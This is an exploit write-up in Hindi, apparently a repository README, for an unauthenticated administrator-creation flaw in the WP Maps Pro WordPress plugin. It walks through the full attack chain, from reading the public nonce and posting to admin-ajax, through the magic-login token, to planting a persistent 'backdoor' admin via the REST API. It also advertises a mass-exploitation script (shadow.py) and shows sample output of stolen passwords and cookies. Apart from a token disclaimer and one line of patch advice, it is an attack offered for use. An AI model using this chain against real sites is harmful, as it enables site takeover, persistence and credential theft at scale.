
WP Maps Pro <= 6.1.0 - बिना प्रमाणीकरण के विशेषाधिकार वृद्धि एडमिनिस्ट्रेटर खाता निर्माण के माध्यम से
♡ अप्रमाणित विशेषाधिकार वृद्धि (Unauthenticated Privilege Escalation) व्यवस्थापक खाता निर्माण के माध्यम से ♡
=== shadow ♡ & friska ===
| फ़ील्ड | विवरण |
|---|---|
| CVE आईडी | CVE-2026-8732 |
| CVSS स्कोर | 9.8 (गंभीर) |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रकार | महत्वपूर्ण कार्य के लिए प्रमाणीकरण की कमी |
| प्लगइन | WP Maps Pro (wp-google-map-gold) |
| प्रभावित | सभी संस्करण ≤ 6.1.0 |
| पैच | 6.1.1 |
| प्रकाशित | 28 मई, 2026 |
| शोधकर्ता | डेविड ब्राउन |
| PoC | Shadow & Friska 😈 |
वर्डप्रेस के लिए WP Maps Pro प्लगइन अप्रमाणित विशेषाधिकार वृद्धि (Unauthenticated Privilege Escalation) के माध्यम से व्यवस्थापक खाता निर्माण की चपेट में है।
wpgmp_temp_access_ajax AJAX क्रिया को wp_ajax_nopriv_ के साथ पंजीकृत किया गया है और केवल fc-call-nonce नॉन्स का उपयोग करके एक nonce जांच द्वारा सुरक्षित किया गया है — जो सार्वजनिक रूप से प्रत्येक फ्रंटएंड पृष्ठ पर wp_localize_script के माध्यम से wpgmp_local JavaScript ऑब्जेक्ट के nonce फ़ील्ड के रूप में एम्बेड किया जाता है।
यह nonce जांच को एक एक्सेस नियंत्रण तंत्र के रूप में पूरी तरह से अप्रभावी बना देता है, जिससे अप्रमाणित हमलावरों को अनुमति मिलती है:
check_temp=false के साथ wpgmp_temp_access_support हैंडलर को आमंत्रित करनाwp_set_auth_cookie() को कॉल करता है — पूर्ण व्यवस्थापक पहुंच प्रदान करता हैपरिणाम: बिना किसी पूर्व प्रमाणीकरण के पूर्ण साइट अधिग्रहण।
is_admin() ब्लॉक के अंदर पंजीकृत — लेकिन AJAX के लिए is_admin() हमेशा सत्य होता है// wp-google-map-gold.php
if ( is_admin() ) { // ← is_admin() = TRUE for all admin-ajax.php requests!
add_action( 'wp_ajax_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] );
add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] ); // ← nopriv = unauthenticated!
}
// classes/wpgmp-helper.php
$wpgmp_local = [
'urlforajax' => admin_url( 'admin-ajax.php' ),
'nonce' => wp_create_nonce( 'fc-call-nonce' ), // ← LEAKED to public HTML!
// ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );
कोई भी विज़िटर पृष्ठ स्रोत से nonce पढ़ सकता है। वर्डप्रेस nonce CSRF टोकन हैं — प्रमाणीकरण टोकन नहीं।
function wpgmp_temp_access_ajax_callback(){
check_ajax_referer( 'fc-call-nonce', 'nonce' ); // ← bypassed via public nonce
// NO current_user_can() check!
$temp_access = new WPGMP_Temp_Access();
$response = $temp_access->wpgmp_temp_access_support();
wp_send_json($response);
}
// classes/wpgmp-temp-access.php
if (isset($_POST['check_temp']) && $_POST['check_temp'] == 'false') {
$username = 'fc_user_' . uniqid(); // random username
$email = '[email protected]'; // hardcoded email
$role = 'administrator'; // hardcoded role ← ROOT CAUSE
$result = self::fc_create_new_user($username, $email, $role);
if (is_numeric($result)) {
$access_link = self::generate_login_link($result);
$response['url'] = $access_link; // ← magic URL returned to attacker!
}
}
init हुक के माध्यम से मैजिक लॉगिन — कोई समाप्ति नहीं, कोई एकल-उपयोग नहीं// Hooked to init — runs on EVERY request, no auth required
function wpgmp_access_token_check(){
if ( ! empty( $_GET['wpgmp_token'] ) ) {
$temp_access->get_valid_user_based_on_wpgmp_token($wpgmp_access_token);
}
}
// Inside get_valid_user_based_on_wpgmp_token():
wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id ); // ← SESSION SET AS ADMIN
wp_safe_redirect( admin_url() ); // ← REDIRECT TO DASHBOARD
[Unauthenticated Attacker]
│
▼
GET /any-page/
← HTML: wpgmp_local = {"nonce":"XXXXXXXX",...}
│
▼
POST /wp-admin/admin-ajax.php
action=wpgmp_temp_access_ajax
nonce=XXXXXXXX
check_temp=false
← {"url":"https://target.com/wp-admin/?wpgmp_token=<128-hex>"}
│
▼
GET /wp-admin/?wpgmp_token=<128-hex>
← wp_set_auth_cookie() fired
← 302 → /wp-admin/
│
▼
[Full Administrator Access] 💀
│
▼
POST /wp-json/wp/v2/users
X-WP-Nonce: <rest-nonce>
{"username":"backdoor","password":"...","roles":["administrator"]}
│
▼
[Persistent Backdoor Created] 😈
shadow.py — पूर्ण शोषण श्रृंखलाएकल लक्ष्य या बड़े पैमाने पर शोषण।
# Interactive
python3 shadow.py
# Single target
python3 shadow.py -u https://target.com
# Mass exploit
python3 shadow.py -f targets.txt -t 20
शोषण चरण:
Phase 1 ▶ Plugin & Feature Detection
Phase 2 ▶ Nonce Scan (parallel crawler)
Phase 3 ▶ Admin Creation via AJAX
Phase 4 ▶ Magic Login (wp_set_auth_cookie)
Phase 5 ▶ Persistent Backdoor (REST API)
आउटपुट (pwned.txt):
1.
=======================================================
Target : https://target.com/wp-admin/
User : shadow_xxxxx
Pass : Xk9#mQ2pLrTv8nYw
Email : [email protected]
Magic : https://target.com/wp-admin/?wpgmp_token=...
=======================================================
Cookies :
=======================================================
wordpress_logged_in_...=fc_user_...
=======================================================
WP Maps Pro को संस्करण 6.1.1 या नए में अपडेट करें।
[shadow ♡ friska] — केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए